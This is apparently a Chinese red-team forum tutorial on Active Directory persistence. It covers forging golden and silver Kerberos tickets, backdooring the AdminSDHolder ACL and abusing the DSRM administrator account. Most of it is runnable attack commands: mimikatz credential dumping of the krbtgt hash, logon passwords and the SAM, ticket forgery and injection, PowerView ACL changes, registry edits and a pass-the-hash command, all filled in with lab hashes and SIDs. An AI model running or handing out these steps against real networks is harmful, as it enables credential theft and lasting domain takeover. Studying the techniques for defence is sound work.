0x01 金票

可以使用krbtgt的NTLM hash创建作为任何用户的有效TGT。
要伪造黄金票据的前提是知道域的SID和krbtgt账户的hash或者AES-256值。

1.1 收集krbtgt密码信息

privilege::debug
lsadump::lsa /inject /name:krbtgt


得到krbtgt的hash:

c73caed3bc6f0a248e51d37b9a8675fa

域sid值:

S-1-5-21-151877218-3666268517-4145415712

1.2 金票利用

使用mimikatz伪造kerberos票证

生成gold.kribi

mimikatz "kerberos::golden /domain:redteam.local /sid:S-1-5-21-151877218-3666268517-4145415712
/krbtgt:c73caed3bc6f0a248e51d37b9a8675fa /user:administrator
/ticket:gold.kirbi"

可以看到没有任何票证。

导入gold.kribi

kerberos::ptt C:\Users\jack\Desktop\gold.kirbi

成功导入administrator票据。

可以通过事件管理器查看到是以administrator来登录的

0x02 银票

如果我们拥有服务的hash,就可以给自己签发任意用户的TGS票据。金票是伪造TGT可用于访问任何Kerberos服务,而银票是伪造TGS,仅限于访问针对特定服务器的任何服务。

这里使用CIFS服务,该服务是windows机器之间的文件共享。

2.1 获取sid

whoami /user

2.2 导出服务账号的NTLM Hash

privilege::Debug
sekurlsa::logonpasswords

2.3 创建银票

kerberos::golden /domain:redteam.local /sid:S-1-5-21-151877218-3666268517-4145415712 /target:DC.redteam.local /service:cifs /rc4:0703759771e4bed877ecd472c95693a5 /user:administrator /ptt

psexec获取DC机器cmd

0x03 AdminSDHolder组

AdminSDHolder是一个特殊的AD容器,具有一些默认安全权限,用作受保护AD账户和组的模板,当我们获取到域控权限,就可以通过授予该用户对容器进行滥用,使该用户成为域管。

默认情况下,该组的 ACL 被复制到所有“受保护组”中。这样做是为了避免有意或无意地更改这些关键组。但是,如果攻击者修改了AdminSDHolder组的 ACL,例如授予普通用户完全权限,则该用户将拥有受保护组内所有组的完全权限(在一小时内)。 如果有人试图在一小时或更短的时间内从域管理员中删除此用户(例如),该用户将回到组中。

在server2000中引入,默认包含如下的组:
Administrators
Domain Admins
Account Operators
Backup Operators
Domain Controllers
Enterprise Admins
Print Operators
Replicator
Read-only Domain Controllers
Schema Admins
Server Operators

其中Administrators、Domain Admins、Enterprise Admins组对AdminSDHolder上的属性具有写权限,受保护的ad账户和组的具备admincount属性值为1的特征。

3.1 使用powerview查询

查询ad保护的域的用户

Get-NetUser -AdminCount |select samaccountname


查询域中受ad保护的所有组

Get-netgroup -AdminCount | select name

3.2 使用ActiveDirectory

查询ad保护的域中所有的用户和组

Import-Module ActiveDirectory 
Get-ADObject -LDAPFilter "(&(admincount=1)(|(objectcategory=person)(objectcategory=group)))" |select name

3.3 添加用户

添加jack用户对其有完全控制权限。

Add-DomainObjectAcl -TargetIdentity AdminSDHolder -PrincipalIdentity jack -Rights All

然后验证下,这里的sid为jack用户的。

Get-DomainObjectAcl adminsdholder | ?{$_.SecurityIdentifier -match "S-1-5-21-15187721
8-3666268517-4145415712-1106"} | select objectdn,ActiveDirectoryRights |sort -Unique

默认会等待60分钟,可以通过修改注册表来设置为60秒后触发。

reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 1 /f

3.4 恢复

恢复触发时间

reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 120 /f

取消jack用户对adminSDHolder的权限

Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=redteam,DC=local" -PrincipalIdentity jack -Rights All -Verbose

0x04 DSRM凭证

每个DC内部都有一个本地管理员账户,在该机器上拥有管理员权限。

4.1 获取本地管理员hash

token::elevate
lsadump::sam

得到hash为:

852a844adfce18f66009b4f14e0a98de

4.2 检查是否工作

如果注册表项的值为0或者不存在,需要将其设置为2。

检查key是否存在并且获取值:

Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior

如果不存在则创建值为2的键:

New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD

如果存在但是不为2设置为2:

Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2

4.3 PTH域控

sekurlsa::pth /domain:DC /user:Administrator /ntlm:852a844adfce18f66009b4f14e0a98de /run:powershell.exe

点击收藏 | 3 关注 | 2
  • 动动手指,沙发就是你的了!
登录 后跟帖